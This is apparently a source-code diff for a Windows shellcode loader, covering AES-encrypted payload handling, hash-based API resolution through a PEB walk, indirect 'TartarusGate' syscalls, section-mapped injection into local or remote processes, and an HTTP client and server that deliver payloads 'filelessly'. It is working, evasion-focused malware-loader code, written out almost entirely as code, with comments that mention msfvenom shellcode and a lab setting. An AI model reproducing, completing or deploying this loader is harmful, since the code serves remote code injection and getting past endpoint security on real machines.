api.Close(hAlg, 0);
return false;
}
std::vector<BYTE> ivWork = km.iv;
ULONG plainLen = 0;
api.Decrypt(hKey, const_cast<PUCHAR>(ciphertext.data()), static_cast<ULONG>(ciphertext.size()),
nullptr, ivWork.data(), static_cast<ULONG>(ivWork.size()),
nullptr, 0, &plainLen, BCRYPT_BLOCK_PADDING);
plaintext.resize(plainLen);
ULONG written = 0;
NTSTATUS st = api.Decrypt(
hKey,
const_cast<PUCHAR>(ciphertext.data()), static_cast<ULONG>(ciphertext.size()),
nullptr,
ivWork.data(), static_cast<ULONG>(ivWork.size()),
plaintext.data(), static_cast<ULONG>(plaintext.size()),
&written, BCRYPT_BLOCK_PADDING);
api.DestroyKey(hKey);
api.Close(hAlg, 0);
if (!NT_SUCCESS(st)) {
Log::Dbg("AES Decrypt: BCryptDecrypt failed NTSTATUS=0x%08lX",
static_cast<unsigned long>(st));
return false;
}
plaintext.resize(written);
Log::Dbg("AES Decrypt OK: plain=%zu bytes", plaintext.size());
return true;
}
std::vector<BYTE> PackKeyMaterial(const KeyMaterial& km) {
std::vector<BYTE> blob;
auto appendU32 = [&](DWORD v) {
blob.push_back(static_cast<BYTE>(v & 0xFF));
blob.push_back(static_cast<BYTE>((v >> 8) & 0xFF));
blob.push_back(static_cast<BYTE>((v >> 16) & 0xFF));
blob.push_back(static_cast<BYTE>((v >> 24) & 0xFF));
};
appendU32(static_cast<DWORD>(km.key.size()));
blob.insert(blob.end(), km.key.begin(), km.key.end());
appendU32(static_cast<DWORD>(km.iv.size()));
blob.insert(blob.end(), km.iv.begin(), km.iv.end());
return blob;
}
bool UnpackKeyMaterial(const std::vector<BYTE>& blob, KeyMaterial& out) {
if (blob.size() < 8) {
return false;
}
size_t off = 0;
auto readU32 = [&]() -> DWORD {
DWORD v = blob[off] | (blob[off + 1] << 8) | (blob[off + 2] << 16) | (blob[off + 3] << 24);
off += 4;
return v;
};
const DWORD keyLen = readU32();
if (off + keyLen > blob.size()) {
return false;
}
out.key.assign(blob.begin() + off, blob.begin() + off + keyLen);
off += keyLen;
if (off + 4 > blob.size()) {
return false;
}
const DWORD ivLen = readU32();
if (off + ivLen > blob.size()) {
return false;
}
out.iv.assign(blob.begin() + off, blob.begin() + off + ivLen);
return out.key.size() == 32 && out.iv.size() == 16;
}
bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath) {
std::ifstream in(inputPath, std::ios::binary | std::ios::ate);
if (!in.is_open()) {
return false;
}
const auto size = in.tellg();
in.seekg(0);
std::vector<BYTE> plain(static_cast<size_t>(size));
if (!in.read(reinterpret_cast<char*>(plain.data()), size)) {
return false;
}
in.close();
KeyMaterial km{};
if (!GenerateKeyMaterial(km)) {
return false;
}
std::vector<BYTE> cipher;
if (!Encrypt(plain, km, cipher)) {
return false;
}
outEncPath = inputPath + L".enc";
outKeyPath = inputPath + L".key";
std::ofstream enc(outEncPath, std::ios::binary);
std::ofstream key(outKeyPath, std::ios::binary);
if (!enc.is_open() || !key.is_open()) {
return false;
}
enc.write(reinterpret_cast<const char*>(cipher.data()), cipher.size());
auto packed = PackKeyMaterial(km);
key.write(reinterpret_cast<const char*>(packed.data()), packed.size());
return true;
}
bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath,
std::vector<BYTE>& plaintext) {
std::ifstream enc(encPath, std::ios::binary | std::ios::ate);
std::ifstream key(keyPath, std::ios::binary | std::ios::ate);
if (!enc.is_open() || !key.is_open()) {
return false;
}
std::vector<BYTE> cipher(static_cast<size_t>(enc.tellg()));
std::vector<BYTE> packed(static_cast<size_t>(key.tellg()));
enc.seekg(0);
key.seekg(0);
enc.read(reinterpret_cast<char*>(cipher.data()), cipher.size());
key.read(reinterpret_cast<char*>(packed.data()), packed.size());
KeyMaterial km{};
if (!UnpackKeyMaterial(packed, km)) {
return false;
}
return Decrypt(cipher, km, plaintext);
}
} // namespace AesCrypto
+33
View File
@@ -0,0 +1,33 @@
#pragma once
#include <Windows.h>
#include <vector>
#include <cstdint>
#include <string>
namespace AesCrypto {
struct KeyMaterial {
std::vector<BYTE> key; // 32 bytes (AES-256)
std::vector<BYTE> iv; // 16 bytes (CBC block)
};
// Generate cryptographically random key + IV via BCryptGenRandom (resolved dynamically).
bool GenerateKeyMaterial(KeyMaterial& out);
// AES-256-CBC encrypt/decrypt using BCrypt (all APIs hash-resolved).
bool Encrypt(const std::vector<BYTE>& plaintext, const KeyMaterial& km, std::vector<BYTE>& ciphertext);
bool Decrypt(const std::vector<BYTE>& ciphertext, const KeyMaterial& km, std::vector<BYTE>& plaintext);
// Pack key+IV for server transport: [4 keyLen][key][4 ivLen][iv]
std::vector<BYTE> PackKeyMaterial(const KeyMaterial& km);
bool UnpackKeyMaterial(const std::vector<BYTE>& blob, KeyMaterial& out);
// Encrypt file to .enc + sidecar key blob (for --enc AES mode).
bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath);
// Read encrypted payload + key from disk.
bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath,
std::vector<BYTE>& plaintext);
} // namespace AesCrypto
+237
View File
@@ -0,0 +1,237 @@
#include "section_map.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/log.hpp"
#include "../common/log.hpp"
#include <cstring>
#include <iostream>
namespace SectionMap {
SIZE_T PageAlign(SIZE_T size) {
const SIZE_T page = 4096;
return (size + page - 1) & ~(page - 1);
}
bool StageLocal(
TartarusGate::SyscallTable& sc,
const std::vector<BYTE>& shellcode,
MappedRegion& out)
{
Log::Banner("Section Map StageLocal");
if (!sc.initialized || shellcode.empty()) {
Log::Dbg("StageLocal abort: initialized=%d empty=%d",
sc.initialized ? 1 : 0, shellcode.empty() ? 1 : 0);
return false;
}
out = {};
LARGE_INTEGER maxSize{};
maxSize.QuadPart = static_cast<LONGLONG>(PageAlign(shellcode.size()));
Log::Sys("NtCreateSection: MaxSize=%lld Access=SECTION_ALL_ACCESS Prot=PAGE_READWRITE SEC_COMMIT",
maxSize.QuadPart);
HANDLE hSection = nullptr;
NTSTATUS st = sc.NtCreateSection(
&hSection,
SECTION_ALL_ACCESS,
nullptr,
&maxSize,
PAGE_READWRITE,
SEC_COMMIT,
nullptr);
Log::NtStatus("NtCreateSection", st);
if (!NT_SUCCESS(st) || !hSection) {
return false;
}
Log::Sys("section handle=%p", hSection);
PVOID localView = nullptr;
SIZE_T viewSize = 0;
Log::Sys("NtMapViewOfSection: self Process CommitSize=%zu Prot=PAGE_READWRITE",
static_cast<size_t>(PageAlign(shellcode.size())));
st = sc.NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&localView,
0,
PageAlign(shellcode.size()),
nullptr,
&viewSize,
ViewShare,
0,
PAGE_READWRITE);
Log::NtStatus("NtMapViewOfSection", st);
if (!NT_SUCCESS(st) || !localView) {
sc.NtClose(hSection);
return false;
}
Log::Sys("mapped RW view=%p viewSize=%zu", localView, static_cast<size_t>(viewSize));
std::memcpy(localView, shellcode.data(), shellcode.size());
Log::Dbg("copied %zu shellcode bytes into view", shellcode.size());
// W^X: transition mapped view to RX.
ULONG oldProt = 0;
PVOID protBase = localView;
SIZE_T protSize = viewSize;
Log::Sys("NtProtectVirtualMemory: view=%p NewProt=PAGE_EXECUTE_READ (W^X)", localView);
st = sc.NtProtectVirtualMemory(
GetCurrentProcess(),
&protBase,
&protSize,
PAGE_EXECUTE_READ,
&oldProt);
Log::NtStatus("NtProtectVirtualMemory", st);
if (!NT_SUCCESS(st)) {
sc.NtUnmapViewOfSection(GetCurrentProcess(), localView);
sc.NtClose(hSection);
return false;
}
Log::Dbg("oldProt=0x%08lX", static_cast<unsigned long>(oldProt));
out.section = hSection;
out.localView = localView;
out.viewSize = viewSize;
return true;
}
bool MapRemote(
TartarusGate::SyscallTable& sc,
HANDLE targetProcess,
MappedRegion& region)
{
if (!sc.initialized || !region.section || region.mappedRemote) {
return false;
}
PVOID remoteView = nullptr;
SIZE_T viewSize = region.viewSize;
NTSTATUS st = sc.NtMapViewOfSection(
region.section,
targetProcess,
&remoteView,
0,
0,
nullptr,
&viewSize,
1,
0,
PAGE_EXECUTE_READ);
if (!NT_SUCCESS(st) || !remoteView) {
return false;
}
region.remoteView = remoteView;
region.mappedRemote = true;
region.viewSize = viewSize;
return true;
}
bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry) {
Log::Banner("ExecuteLocal (CreateThread)");
if (!sc.initialized || !entry) {
Log::Dbg("ExecuteLocal abort: initialized=%d entry=%p",
sc.initialized ? 1 : 0, entry);
return false;
}
// Hash resolved CreateThread matches original loader behavior for msfvenom style shellcode.
auto* k32 = ApiResolver::GetKernel32();
if (!k32) {
Log::Dbg("kernel32 base null");
return false;
}
using CreateThread_t = HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
using WaitForSingleObject_t = DWORD(WINAPI*)(HANDLE, DWORD);
using CloseHandle_t = BOOL(WINAPI*)(HANDLE);
auto* pCreateThread = reinterpret_cast<CreateThread_t>(
ApiResolver::ResolveExport(k32, Hashes::H_CreateThread));
auto* pWait = reinterpret_cast<WaitForSingleObject_t>(
ApiResolver::ResolveExport(k32, Hashes::H_WaitForSingleObject));
auto* pClose = reinterpret_cast<CloseHandle_t>(
ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));
if (!pCreateThread || !pWait || !pClose) {
Log::Err("CreateThread hash resolve failed");
return false;
}
Log::Sys("ExecuteLocal: CreateThread entry=%p (API hash 0x%08X) pCreate=%p",
entry, Hashes::H_CreateThread, pCreateThread);
DWORD tid = 0;
HANDLE hThread = pCreateThread(nullptr, 0,
reinterpret_cast<LPTHREAD_START_ROUTINE>(entry), nullptr, 0, &tid);
if (!hThread) {
Log::Err("CreateThread failed (%lu)", GetLastError());
return false;
}
Log::Raw("thread TID=%lu handle=%p — WaitForSingleObject(INFINITE)", tid, hThread);
const DWORD waitRc = pWait(hThread, INFINITE);
Log::Dbg("WaitForSingleObject rc=%lu", waitRc);
pClose(hThread);
Log::Dbg("thread exited, handle closed");
return true;
}
bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry) {
if (!sc.initialized || !targetProcess || !entry) {
return false;
}
HANDLE hThread = nullptr;
NTSTATUS st = sc.NtCreateThreadEx(
&hThread,
THREAD_ALL_ACCESS,
nullptr,
targetProcess,
entry,
nullptr,
0,
0,
0,
0,
nullptr);
if (!NT_SUCCESS(st) || !hThread) {
return false;
}
sc.NtClose(hThread);
return true;
}
void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess) {
if (!sc.initialized) {
return;
}
if (region.localView) {
sc.NtUnmapViewOfSection(GetCurrentProcess(), region.localView);
region.localView = nullptr;
}
if (region.mappedRemote && region.remoteView && targetProcess) {
sc.NtUnmapViewOfSection(targetProcess, region.remoteView);
region.remoteView = nullptr;
region.mappedRemote = false;
}
if (region.section) {
sc.NtClose(region.section);
region.section = nullptr;
}
}
} // namespace SectionMap
+44
View File
@@ -0,0 +1,44 @@
#pragma once
#include <Windows.h>
#include <cstdint>
#include <vector>
#include "../syscall/tartarus_gate.hpp"
namespace SectionMap {
struct MappedRegion {
HANDLE section = nullptr;
PVOID localView = nullptr;
PVOID remoteView = nullptr;
SIZE_T viewSize = 0;
bool mappedRemote = false;
};
// Stage shellcode via anonymous section + NtMapViewOfSection (W^X).
// Replaces naive NtAllocateVirtualMemory for local ingestion.
bool StageLocal(
TartarusGate::SyscallTable& sc,
const std::vector<BYTE>& shellcode,
MappedRegion& out);
// Map staged section into remote process (shared section object).
bool MapRemote(
TartarusGate::SyscallTable& sc,
HANDLE targetProcess,
MappedRegion& region);
// Execute shellcode locally via NtCreateThreadEx (indirect syscall).
bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry);
// Execute in remote process via NtCreateThreadEx.
bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry);
// Release views and section handle.
void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess);
// Align size to page boundary.
SIZE_T PageAlign(SIZE_T size);
} // namespace SectionMap
+361
View File
@@ -0,0 +1,361 @@
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include "http_transport.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/log.hpp"
#include <fstream>
#include <sstream>
#include <cstring>
namespace HttpTransport {
namespace {
struct WinsockApi {
decltype(&WSAStartup) WSAStartupFn = nullptr;
decltype(&WSACleanup) WSACleanupFn = nullptr;
decltype(&socket) socketFn = nullptr;
decltype(&connect) connectFn = nullptr;
decltype(&send) sendFn = nullptr;
decltype(&recv) recvFn = nullptr;
decltype(&closesocket) closesocketFn = nullptr;
decltype(&bind) bindFn = nullptr;
decltype(&listen) listenFn = nullptr;
decltype(&accept) acceptFn = nullptr;
decltype(&getaddrinfo) getaddrinfoFn = nullptr;
decltype(&freeaddrinfo) freeaddrinfoFn = nullptr;
decltype(&setsockopt) setsockoptFn = nullptr;
bool loaded = false;
bool started = false;
};
bool LoadWinsock(WinsockApi& ws) {
if (ws.loaded) {
return true;
}
ws.WSAStartupFn = reinterpret_cast<decltype(ws.WSAStartupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSAStartup));
ws.WSACleanupFn = reinterpret_cast<decltype(ws.WSACleanupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSACleanup));
ws.socketFn = reinterpret_cast<decltype(ws.socketFn)>(ApiResolver::ResolveWs2(Hashes::H_socket));
ws.connectFn = reinterpret_cast<decltype(ws.connectFn)>(ApiResolver::ResolveWs2(Hashes::H_connect));
ws.sendFn = reinterpret_cast<decltype(ws.sendFn)>(ApiResolver::ResolveWs2(Hashes::H_send));
ws.recvFn = reinterpret_cast<decltype(ws.recvFn)>(ApiResolver::ResolveWs2(Hashes::H_recv));
ws.closesocketFn = reinterpret_cast<decltype(ws.closesocketFn)>(ApiResolver::ResolveWs2(Hashes::H_closesocket));
ws.bindFn = reinterpret_cast<decltype(ws.bindFn)>(ApiResolver::ResolveWs2(Hashes::H_bind));
ws.listenFn = reinterpret_cast<decltype(ws.listenFn)>(ApiResolver::ResolveWs2(Hashes::H_listen));
ws.acceptFn = reinterpret_cast<decltype(ws.acceptFn)>(ApiResolver::ResolveWs2(Hashes::H_accept));
ws.getaddrinfoFn = reinterpret_cast<decltype(ws.getaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_getaddrinfo));
ws.freeaddrinfoFn= reinterpret_cast<decltype(ws.freeaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_freeaddrinfo));
ws.setsockoptFn = reinterpret_cast<decltype(ws.setsockoptFn)>(ApiResolver::ResolveWs2(Hashes::H_setsockopt));
ws.loaded = ws.WSAStartupFn && ws.socketFn && ws.connectFn && ws.sendFn && ws.recvFn;
return ws.loaded;
}
bool EnsureWinsock(WinsockApi& ws) {
if (!LoadWinsock(ws)) {
return false;
}
if (!ws.started) {
WSADATA wsa{};
if (ws.WSAStartupFn(MAKEWORD(2, 2), &wsa) != 0) {
return false;
}
ws.started = true;
}
return true;
}
bool HttpGet(const Endpoint& ep, const char* path, std::vector<std::uint8_t>& body) {
Log::Banner("HTTP GET (fileless client)");
Log::Info("GET http://%s:%u%s", ep.host.c_str(), ep.port, path);
WinsockApi ws{};
if (!EnsureWinsock(ws)) {
Log::Dbg("winsock load/WSAStartup failed");
return false;
}
Log::Dbg("winsock ready");
addrinfo hints{};
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
addrinfo* result = nullptr;
const auto portStr = std::to_string(ep.port);
if (ws.getaddrinfoFn(ep.host.c_str(), portStr.c_str(), &hints, &result) != 0) {
Log::Dbg("getaddrinfo failed host=%s port=%s", ep.host.c_str(), portStr.c_str());
return false;
}
Log::Dbg("getaddrinfo OK — connecting...");
SOCKET sock = INVALID_SOCKET;
for (auto* ptr = result; ptr; ptr = ptr->ai_next) {
sock = ws.socketFn(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (sock == INVALID_SOCKET) {
continue;
}
if (ws.connectFn(sock, ptr->ai_addr, static_cast<int>(ptr->ai_addrlen)) == 0) {
Log::Sys("connected socket=%llu family=%d",
static_cast<unsigned long long>(sock), ptr->ai_family);
break;
}
ws.closesocketFn(sock);
sock = INVALID_SOCKET;
}
ws.freeaddrinfoFn(result);
if (sock == INVALID_SOCKET) {
Log::Dbg("connect failed to %s:%u", ep.host.c_str(), ep.port);
return false;
}
std::ostringstream req;
req << "GET " << path << " HTTP/1.1\r\n"
<< "Host: " << ep.host << "\r\n"
<< "Connection: close\r\n\r\n";
const std::string reqStr = req.str();
Log::Dbg("send request (%zu bytes)", reqStr.size());
if (ws.sendFn(sock, reqStr.c_str(), static_cast<int>(reqStr.size()), 0) <= 0) {
Log::Dbg("send failed");
ws.closesocketFn(sock);
return false;
}
std::vector<std::uint8_t> response;
char buf[4096];
for (;;) {
const int n = ws.recvFn(sock, buf, sizeof(buf), 0);
if (n <= 0) {
break;
}
response.insert(response.end(), buf, buf + n);
}
ws.closesocketFn(sock);
Log::Dbg("recv total response=%zu bytes", response.size());
// Find end of HTTP headers
const char* data = reinterpret_cast<const char*>(response.data());
const char* hdrEnd = strstr(data, "\r\n\r\n");
if (!hdrEnd) {
Log::Dbg("no HTTP header terminator");
return false;
}
const size_t bodyOff = (hdrEnd - data) + 4;
size_t contentLen = 0;
const char* cl = strstr(data, "Content-Length:");
if (cl && cl < hdrEnd) {
contentLen = static_cast<size_t>(std::strtoul(cl + 15, nullptr, 10));
}
Log::Dbg("headers end @%zu Content-Length=%zu", bodyOff, contentLen);
if (contentLen > 0 && bodyOff + contentLen <= response.size()) {
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff),
response.begin() + static_cast<ptrdiff_t>(bodyOff + contentLen));
} else if (bodyOff < response.size()) {
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff), response.end());
} else {
body.clear();
}
Log::Info("HTTP body size=%zu for %s", body.size(), path);
return true;
}
std::string BuildHttpResponse(const std::vector<std::uint8_t>& body, const char* contentType) {
std::ostringstream oss;
oss << "HTTP/1.1 200 OK\r\n"
<< "Content-Type: " << contentType << "\r\n"
<< "Content-Length: " << body.size() << "\r\n"
<< "Connection: close\r\n\r\n";
std::string hdr = oss.str();
std::string out = hdr;
out.append(reinterpret_cast<const char*>(body.data()), body.size());
return out;
}
bool ReadFileBytes(const std::wstring& path, std::vector<std::uint8_t>& out) {
std::ifstream f(path, std::ios::binary | std::ios::ate);
if (!f.is_open()) {
return false;
}
out.resize(static_cast<size_t>(f.tellg()));
f.seekg(0);
f.read(reinterpret_cast<char*>(out.data()), out.size());
return true;
}
void HandleClient(WinsockApi& ws, SOCKET client,
const std::vector<std::uint8_t>& payload, const std::vector<std::uint8_t>& keyBlob,
bool /*verbose*/) {
char buf[2048] = {};
const int nrecv = ws.recvFn(client, buf, sizeof(buf) - 1, 0);
// First request line only for clean logs
char reqLine[128] = {};
{
size_t i = 0;
while (i + 1 < sizeof(reqLine) && buf[i] && buf[i] != '\r' && buf[i] != '\n') {
reqLine[i] = buf[i];
++i;
}
}
Log::Srv("accept client sock=%llu recv=%d req=\"%s\"",
static_cast<unsigned long long>(client), nrecv, reqLine);
std::vector<std::uint8_t> response;
const char* route = "404";
size_t bodyBytes = 0;
if (strstr(buf, "GET /api/v1/payload")) {
route = "/api/v1/payload";
bodyBytes = payload.size();
auto http = BuildHttpResponse(payload, "application/octet-stream");
response.assign(http.begin(), http.end());
} else if (strstr(buf, "GET /api/v1/key")) {
route = "/api/v1/key";
bodyBytes = keyBlob.size();
auto http = BuildHttpResponse(keyBlob, "application/octet-stream");
response.assign(http.begin(), http.end());
} else if (strstr(buf, "GET /api/v1/health")) {
route = "/api/v1/health";
bodyBytes = 2;
const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK";
response.assign(ok, ok + strlen(ok));
} else {
const char* nf = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n";
response.assign(nf, nf + strlen(nf));
}
const int nsent = ws.sendFn(client, reinterpret_cast<const char*>(response.data()),
static_cast<int>(response.size()), 0);
Log::Srv("reply route=%s body=%zu wire=%zu sent=%d",
route, bodyBytes, response.size(), nsent);
ws.closesocketFn(client);
}
} // namespace
bool ParseSource(const std::string& source, Endpoint& out) {
out = {};
out.port = 8080;
const auto colon = source.find(':');
if (colon == std::string::npos) {
out.host = source;
return !out.host.empty();
}
out.host = source.substr(0, colon);
try {
out.port = static_cast<std::uint16_t>(std::stoi(source.substr(colon + 1)));
} catch (...) {
return false;
}
return !out.host.empty();
}
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body) {
return HttpGet(ep, "/api/v1/payload", body);
}
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body) {
return HttpGet(ep, "/api/v1/key", body);
}
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
const std::vector<std::uint8_t>& keyBlob, bool verbose) {
// Prefer explicit flag; also honor Log server channel if already enabled.
if (verbose) {
Log::SetServerVerbose(true);
}
Log::SrvBanner("HTTP Bind");
Log::Srv("WSAStartup + resolve passive 0.0.0.0:%u", port);
WinsockApi ws{};
if (!EnsureWinsock(ws)) {
Log::Srv("winsock load failed");
return false;
}
Log::Srv("winsock APIs resolved (hash) + started");
addrinfo hints{};
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
addrinfo* result = nullptr;
const auto portStr = std::to_string(port);
if (ws.getaddrinfoFn(nullptr, portStr.c_str(), &hints, &result) != 0) {
Log::Srv("getaddrinfo failed for port %s", portStr.c_str());
return false;
}
SOCKET listenSock = ws.socketFn(result->ai_family, result->ai_socktype, result->ai_protocol);
if (listenSock == INVALID_SOCKET) {
Log::Srv("socket() failed");
ws.freeaddrinfoFn(result);
return false;
}
Log::Srv("listen socket=%llu", static_cast<unsigned long long>(listenSock));
int yes = 1;
ws.setsockoptFn(listenSock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<const char*>(&yes), sizeof(yes));
Log::Srv("SO_REUSEADDR=1");
if (ws.bindFn(listenSock, result->ai_addr, static_cast<int>(result->ai_addrlen)) != 0) {
Log::Srv("bind failed on port %u", port);
ws.closesocketFn(listenSock);
ws.freeaddrinfoFn(result);
return false;
}
ws.freeaddrinfoFn(result);
Log::Srv("bind OK 0.0.0.0:%u", port);
if (ws.listenFn(listenSock, SOMAXCONN) != 0) {
Log::Srv("listen failed");
ws.closesocketFn(listenSock);
return false;
}
Log::Srv("listen OK backlog=SOMAXCONN");
// Always show ready line; details only with --verbose
Log::Ok("Fileless server listening on port %u (payload=%zu key=%zu)",
port, payload.size(), keyBlob.size());
Log::Srv("endpoints: GET /api/v1/payload | /api/v1/key | /api/v1/health");
Log::Srv("waiting for clients...");
for (;;) {
SOCKET client = ws.acceptFn(listenSock, nullptr, nullptr);
if (client == INVALID_SOCKET) {
Log::Srv("accept returned INVALID_SOCKET — retry");
continue;
}
HandleClient(ws, client, payload, keyBlob, verbose);
}
}
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath) {
std::vector<std::uint8_t> payload;
std::vector<std::uint8_t> keyBlob;
if (!ReadFileBytes(payloadPath, payload)) {
return false;
}
// Key is optional for non-encrypted payloads
ReadFileBytes(keyPath, keyBlob);
return RunServerMemory(port, payload, keyBlob, false);
}
} // namespace HttpTransport
+31
View File
@@ -0,0 +1,31 @@
#pragma once
#include <cstdint>
#include <string>
#include <vector>
namespace HttpTransport {
struct Endpoint {
std::string host;
std::uint16_t port = 8080;
bool useTls = false; // plain HTTP for lab
};
// Parse host[:port] from --source argument.
bool ParseSource(const std::string& source, Endpoint& out);
// GET /api/v1/payload — returns raw shellcode bytes (plain or AES ciphertext).
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body);
// GET /api/v1/key — returns packed key material blob.
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body);
// Run minimal HTTP server (Windows) — serves payload + key without exposing filenames.
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath);
// Run server with in-memory blobs (after --enc AES).
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
const std::vector<std::uint8_t>& keyBlob, bool verbose = false);
} // namespace HttpTransport
+125
View File
@@ -0,0 +1,125 @@
#include "pe_parser.hpp"
#include "../common/hashes.hpp"
#include <cstring>
namespace PeParser {
Peb* GetPeb() {
#ifdef _WIN64
return reinterpret_cast<Peb*>(__readgsqword(0x60));
#else
return reinterpret_cast<Peb*>(__readfsdword(0x30));
#endif
}
bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap) {
if (!name.Buffer || name.Length == 0 || outCap == 0) {
return false;
}
const int wcharCount = name.Length / sizeof(WCHAR);
int written = WideCharToMultiByte(
CP_ACP, 0, name.Buffer, wcharCount,
out, static_cast<int>(outCap - 1), nullptr, nullptr);
if (written <= 0) {
return false;
}
out[written] = '\0';
CharLowerA(out);
return true;
}
HMODULE GetModuleByHash(std::uint32_t moduleHash) {
auto* peb = GetPeb();
if (!peb || !peb->Ldr) {
return nullptr;
}
auto* head = &peb->Ldr->InMemoryOrderModuleList;
for (auto* link = head->Flink; link != head; link = link->Flink) {
auto* entry = reinterpret_cast<LdrDataTableEntry*>(
reinterpret_cast<BYTE*>(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks));
if (!entry->BaseDllName.Buffer) {
continue;
}
char narrow[MAX_PATH] = {};
if (!WideToLowerAscii(entry->BaseDllName, narrow, sizeof(narrow))) {
continue;
}
// Match precomputed hash (api_hash constants) or runtime djb2 lowercase.
if (Hashes::Djb2(narrow) == moduleHash || Hashes::Djb2Lower(narrow) == moduleHash) {
return reinterpret_cast<HMODULE>(entry->DllBase);
}
}
return nullptr;
}
HMODULE GetModuleByIndex(unsigned index) {
auto* peb = GetPeb();
if (!peb || !peb->Ldr) {
return nullptr;
}
auto* head = &peb->Ldr->InMemoryOrderModuleList;
unsigned i = 0;
for (auto* link = head->Flink; link != head; link = link->Flink, ++i) {
if (i == index) {
auto* entry = reinterpret_cast<LdrDataTableEntry*>(
reinterpret_cast<BYTE*>(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks));
return reinterpret_cast<HMODULE>(entry->DllBase);
}
}
return nullptr;
}
PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module) {
if (!module) {
return nullptr;
}
auto* base = reinterpret_cast<BYTE*>(module);
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(base);
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
return nullptr;
}
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) {
return nullptr;
}
return nt;
}
FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash) {
if (!module) {
return nullptr;
}
auto* base = reinterpret_cast<BYTE*>(module);
auto* nt = GetNtHeaders(module);
if (!nt) {
return nullptr;
}
const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (dir.VirtualAddress == 0 || dir.Size == 0) {
return nullptr;
}
auto* exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(base + dir.VirtualAddress);
auto* names = reinterpret_cast<PDWORD>(base + exp->AddressOfNames);
auto* ords = reinterpret_cast<PWORD>(base + exp->AddressOfNameOrdinals);
auto* funcs = reinterpret_cast<PDWORD>(base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
const char* exportName = reinterpret_cast<const char*>(base + names[i]);
if (Hashes::Djb2(exportName) != exportHash) {
continue;
}
return reinterpret_cast<FARPROC>(base + funcs[ords[i]]);
}
return nullptr;
}
} // namespace PeParser
+59
View File
@@ -0,0 +1,59 @@
#pragma once
#include <Windows.h>
#include <cstdint>
namespace PeParser {
// Minimal PEB/LDR structures (winternl.h is incomplete for InMemoryOrder walk).
struct PeUnicodeString {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
struct LdrDataTableEntry {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID Reserved3[2];
PeUnicodeString BaseDllName;
};
struct PebLdrData {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
};
struct Peb {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PebLdrData* Ldr;
};
// Returns process environment block pointer (x64: GS:[0x60]).
Peb* GetPeb();
// Walk PEB->Ldr->InMemoryOrderModuleList; match module by djb2 lowercase hash.
HMODULE GetModuleByHash(std::uint32_t moduleHash);
// InMemoryOrder index: 0=exe, 1=ntdll, 2=kernel32 (typical load order).
HMODULE GetModuleByIndex(unsigned index);
// Walk PE export directory; match export by djb2 hash (case-sensitive export name).
FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash);
// Parse PE headers from module base.
PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module);
// Convert wide module basename to lowercase ASCII for hashing.
